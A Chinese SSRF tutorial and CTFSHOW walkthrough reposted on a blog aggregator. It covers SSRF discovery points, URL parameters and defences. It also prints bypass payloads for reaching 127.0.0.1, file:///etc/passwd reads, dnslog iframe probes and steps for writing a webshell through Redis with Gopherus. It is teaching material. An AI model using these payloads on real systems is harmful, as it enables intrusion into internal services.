Day57:WEB攻防-SSRF服务端请求Gopher伪协议无回显利用黑白盒挖掘业务功能点

news2025/1/11 8:48:17

目录

SSRF-原理&挖掘&利用&修复

SSRF无回显解决办法

SSRF漏洞挖掘

SSRF协议利用

http:// (常用)

file:/// (常用)

dict:// (常用)

sftp://

ldap://

tftp://

gopher:// (常用)

SSRF绕过方式

SSRF漏洞防御

白盒CTF-绕过&伪协议&审计点

1、无过滤直接获取

2-3、IP地址进制绕过

4、域名解析IP绕过

5、长度限制IP绕过

6、长度限制IP绕过

7、利用重定向解析绕过

8、匹配且不影响写法解析

9-10、利用gopher协议打服务

黑盒WEB-业务功能&URL关键字


知识点:

1、SSRF-原理-外部资源加载

2、SSRF-利用-伪协议&无回显

3、SSRF-挖掘-业务功能&URL参数

SSRF-原理&挖掘&利用&修复

漏洞原理:SSRF(Server-Side Request Forgery:服务器端请求伪造) ,一种由攻击者构造形成由服务端发起请求的一个安全漏洞;一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

需要考虑有回显和无回显问题

SSRF无回显解决办法

跟RCE无回显道理是一样的,两种解决方法:

反向连接(一般SSRF都是用这个反向连接方式,因为SSRF无法写文件):让疑似存在RCE(SSRF)的目标请求外部一个网站,dnslog或者自己用vps python启用一个web服务,当dnslog或者自启用网站能接收到请求信息时,不就代表目标存在RCE(SSRF)) 

正向连接(一般RCE执行可以用这个方式,SSRF得用第一种方式)

  1. 写个文件在对方网站目录下,然后再去访问网站目录是否存在这个文件就能判断目标是否执行了RCE命令
  2. 让目标用nc起个监听,我们主动连过去。

SSRF漏洞挖掘

黑盒探针:业务功能点

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

URL关键参数:

  1. share
  2. wap
  3. url
  4. link
  5. src
  6. source
  7. target
  8. u
  9. display
  10. sourceURl
  11. imageURL
  12. domain
     

白盒分析:文件读取,加载,数据操作类的函数

SSRF协议利用

http://  Web常见访问,如http://127.0.0.1

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload

由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)

应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

http:// (常用)

Web常见访问,如http://127.0.0.1、http://127.0.0.1:8080、http://192.168.1.1、http://192.168.1.2等

file:/// (常用)

从文件系统中获取文件内容,如,file:///etc/passwd、file:///D:/1.txt

dict:// (常用)

字典服务器协议,访问字典资源,如,dict:///ip:6379/info

sftp://

SSH文件传输协议或安全文件传输协议

ldap://

轻量级目录访问协议

tftp://

简单文件传输协议

gopher:// (常用)

分布式文档传递服务,可使用gopherus生成payload
有部分服务是http协议不支持通讯的,那么可以用gopher来进行通讯(如mysql,redis服务等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus
 

SSRF绕过方式

-限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@

http://www.xxx.com@www.xxyy.com

-限制请求IP不为内网地址

当不允许ip为内网地址时:

(1)采取短网址绕过

(2)采取域名解析

(3)采取进制转换

(4)采取3XX重定向

SSRF漏洞防御

  1. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
  2. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
  3. 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
  4. 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
  5. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

白盒CTF-绕过&伪协议&审计点

 练习环境:CTFSHOW SSRF 白盒

1、无过滤直接获取

url=http://127.0.0.1/flag.php

2-3、IP地址进制绕过

十六进制(需要添加上0x)
0x的目的是为了表示后面的数是十六进制,在编程里面一般都要加入,用来区别十进制数
url=http://0x7F.0.0.1/flag.php

八进制
url=http://0177.0.0.1/flag.php

10 进制全部转换
url=http://2130706433/flag.php

16 进制全部转换,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php

还有一种特殊的省略模式
127.0.0.1写成127.1

用CIDR绕过localhost
url=http://127.127.127.127/flag.php

还有很多方式
url=http://0/flag.php
url=http://0.0.0.0/flag.php

4、域名解析IP绕过

test.xiaodi8.com -> 127.0.0.1

url=http://test.xiaodi8.com/flag.php

5、长度限制IP绕过

url=http://127.1/flag.php

6、长度限制IP绕过

url=http://0/flag.php

7、利用重定向解析绕过

<?php
header("Location:http://127.0.0.1/flag.php"); 
其作用是:当执行该脚本时,会直接跳转到对应的网址,即Location: 后面的网址。

url=http://47.94.236.117/xx.php

8、匹配且不影响写法解析

url=http://ctf.@127.0.0.1/flag.php#show

9-10、利用gopher协议打服务

有一些前提条件,比如redis未授权、mysql无密码等

https://github.com/tarunkant/Gopherus

mysql

redis

然后填入绝对路径,这里刚好是默认的,回车就好

然后填写要写入的内容,我这里写的一句话木马

生成好了,如果执行成功他会再目录下生成shell.php这个文件

现在这个语句还不能马上拿去用,需要做一下处理gopher://127.0.0.1:6379/_这部分不用变,后面的复制,再拿去进行一次url编码,然后拼接回gopher://127.0.0.1:6379/_后面

然后传参给url参数,回车

shell写入成功

黑盒WEB-业务功能&URL关键字

黑盒探针:

SRC(文件导出/格式转换 SSRF)

iframe 标签

<iframe src="http://6p5vvu.dnslog.cn">
<iframe src="6p5vvu.dnslog.cn">
<iframe>标签是干嘛的?

SSRF和文件包含黑盒如何区分?

1.分析参数关键字(url字样大概率SSRF,file字样大概率文件包含)
2.看参数值地址(文件包含一般只允许包含本地,看能不能包含远程地址)
3.分析页面响应

多方面多角度分析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1563515.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python中的全栈开发前端与后端的完美融合【第160篇—全栈开发】

&#x1f47d;发现宝藏 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。【点击进入巨牛的人工智能学习网站】。 Python中的全栈开发&#xff1a;前端与后端的完美融合 全栈开发已成为当今软件开发领域中的…

YOLOv9有效改进专栏汇总|未来更新卷积、主干、检测头注意力机制、特征融合方式等创新![2024/4/1]

​ 专栏介绍&#xff1a;YOLOv9改进系列 | 包含深度学习最新创新&#xff0c;助力高效涨点&#xff01;&#xff01;&#xff01; 专栏介绍 YOLOv9作为最新的YOLO系列模型&#xff0c;对于做目标检测的同学是必不可少的。本专栏将针对2024年最新推出的YOLOv9检测模型&#xff0…

Java数据结构-栈

目录 1. 栈的概念2. 栈的实现2.1 顺序栈2.2 链式栈 3. 栈的应用3.1 栈的使用3.2 括号匹配3.3 逆波兰表达式求值3.4 出栈入栈次序匹配3.4 最小栈 1. 栈的概念 栈是一种顺序结构&#xff0c;只允许在一端进行插入和删除&#xff0c;插入删除的一端叫栈顶&#xff0c;另一端叫栈底…

蓝桥杯嵌入式学习笔记(7):ADC程序设计

目录 前言 1. ADC原理 1.1 主要特性 1.2 模拟输出电路图 2. 使用CubeMX进行源工程的配置 2.1 引脚配置 2.2 配置AD1 2.3 配置AD2 2.4 配置时钟 3. 代码编程 3.1 预备工作 3.2 bsp_adc.h文件编写 3.3 bsp_adc.c文件编写 3.4 main.c编写 3.4.1 时钟函数配置 3…

内网渗透学习-漏洞利用

1、漏洞搜索与利用 漏洞1&#xff1a;后台弱口令 漏洞2&#xff1a; 在yxcms有个留言功能&#xff0c;常常存在存储型xss漏洞 先用<h1>123xss</h1>测试一下会不会解析 登录管理员账号审核留言&#xff0c;发现xss脚本解析了 写入xss弹窗 再次返回管理员审核页面&…

Hive on Spark 配置

目录 1 Hive 引擎简介2 Hive on Spark 配置2.1 在 Hive 所在节点部署 Spark2.2 在hive中创建spark配置文件2.3 向 HDFS上传Spark纯净版 jar 包2.4 修改hive-site.xml文件2.5 Hive on Spark测试2.6 报错 1 Hive 引擎简介 Hive引擎包括&#xff1a;MR&#xff08;默认&#xff09…

leaflet知识点:leaflet.draw的使用指南

一&#xff0c;安装插件 npm i leaflet-draw --save 二&#xff0c;引入插件 import "leaflet-draw"; import "leaflet-draw/dist/leaflet.draw.css";三&#xff0c;使用插件 leaflet-draw的插件使用有两种方法。 1. 作为工具栏控件加入到地图种使用 //…

linux离线安装NodeJs

一、官方下载 地址&#xff1a;Node.js — Download Node.js 选择linux系统版本 为了防止安装过程出现一些适配问题&#xff0c;我没有选择下载最新版&#xff0c;实际应该下载你的前端所用的nodejs版本 未完待续。。

深度解析Android APP加固中的必备手段——代码混淆技术

Android APP 加固是优化 APK 安全性的一种方法&#xff0c;常见的加固方式有混淆代码、加壳、数据加密、动态加载等。下面介绍一下 Android APP 加固的具体实现方式。 混淆代码 使用 ipaguard工具可以对代码进行混淆&#xff0c;使得反编译出来的代码很难阅读和理解&#xff…

3.5网安学习第三阶段第五周回顾(个人学习记录使用)

本周重点 ①SSRF服务器端请求伪造 ②序列化和反序列化 ③Vaudit代码审计 本周主要内容 ①SSRF服务器端请求伪造 一、概述 SSRF: server site request forgery (服务器端请求伪造)。 SSR: 服务端请求&#xff0c;A服务器通过函数向B服务器发送请求。 SSRF发生的前提条件…

idea 报错 Could not list the contents of folder “ftps

idea 报错 Could not list the contents of folder "ftps 解决方案 这里看到了网上的解决方案&#xff0c;顺便再记录一下。打开 【高级】菜单 - 取消勾选 被动模式。然后点击测试连接&#xff0c;显示连接成功&#xff01; ftp中的主动模式和被动模式 主动模式&…

1.JavaEE进阶篇 - 为什么要学习SpringBoot呢?

文章目录 1.为什么要学框架&#xff1f;2.框架的优点展示(SpringBoot VS Servlet)2.1 Servlet 项⽬开发2.1.1 创建项⽬2.1.2 添加引⽤2.1.3 添加业务代码2.1.4 运⾏项⽬(配置tomcat)2.1.5 Maven配置2.1.5.1修改本地Maven仓库地址2.1.5.2 配置settings.xml文件2.1.5.3项目 本地仓…

Nginx开发实战三:替换请求资源中的固定数据

文章目录 1.效果预览2.下载Nginx解压并初始化3.字符串替换模块安装4.修改nginx配置文件并重启 1.效果预览 页面初始效果 页面替换后效果 说明:页面是内网的一个地址&#xff0c;我们通过nginx可以很便捷的将其改为外网访问&#xff0c;但是在外网访问这个地址后&#xff0c…

剑指offer--数组中重复的数字

一.题目描述 在一个长度为 n 的数组 nums 里的所有数字都在 0&#xff5e;n-1 的范围内。数组中某些数字是重复的&#xff0c;但不知道有几个数字重复了&#xff0c;也不知道每个数字重复了几次。请找出数组中任意一个重复的数字。 算法1.排序,然后遍历,时间复杂度O(nlogn),空…

CVE-2023-4427:Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey

文章目录 前言环境搭建for-in && enum cache漏洞分析漏洞利用总结参考 前言 之前分析调试漏洞时&#xff0c;几乎都是对着别人的 poc/exp 调试&#xff0c;感觉对自己的提升不是很大&#xff0c;所以后面分析漏洞时尽可能全面分析&#xff0c;从漏洞产生原理、如何稳定…

前端学习<三>CSS进阶——0102-CSS布局样式

前言 css 进阶的主要内容如下。 1、css 非布局样式 html 元素的分类和特性 css 选择器 css 常见属性&#xff08;非布局样式&#xff09; 2、css 布局相关 css 布局属性和组合解析 常见布局方案 三栏布局案例 3、动画和效果 属于 css 中最出彩的内容。 多背景多投影特…

(C)1007 素数对猜想

1007 素数对猜想 问题描述 输入样例&#xff1a; 20 输出样例&#xff1a; 4 解决方案&#xff1a; #include<stdio.h> #include<string.h> #include<math.h> int main(){int n,d;int a[100000];int flag,jishu0;scanf("%d",&n);memset(a,-1,…

HubSpot出海CRM的优势有哪些?

强大的客户关系管理能力&#xff1a;HubSpot出海CRM提供了一套完整的客户关系管理功能&#xff0c;企业可以轻松地记录、整理和分析客户的各种信息&#xff0c;包括基本资料、购买历史、沟通记录等。这使得企业能够更深入地了解客户的需求和偏好&#xff0c;为后续的营销和销售…

持续交付/持续部署流水线介绍(CD)

目录 一、概述 二、典型操作流程 2.1 CI/CD典型操作流 2.2 CI/CD操作流程说明 2.3 总结 三、基于GitHubDocker的持续交付/持续部署流水线&#xff08;公有云&#xff09; 3.1 基于GitHubDocker的持续交付/持续部署操作流程示意图 3.2 GitHubDocker持续交付/持续部署流水…

2023.4.7 机器学习周报

目录 引言 Abstract 文献阅读 1、题目 2、引言 3、过去方案和Motivation 4、Segment Anything模型 5、创新点 6、实验过程 7、实验结果 1、评价绩效 2、检测评价 3、跟踪评价 8、 结论 总结 引言 本周阅读了一篇关于高效的任意分割模型的文献&#xff0c;用于自…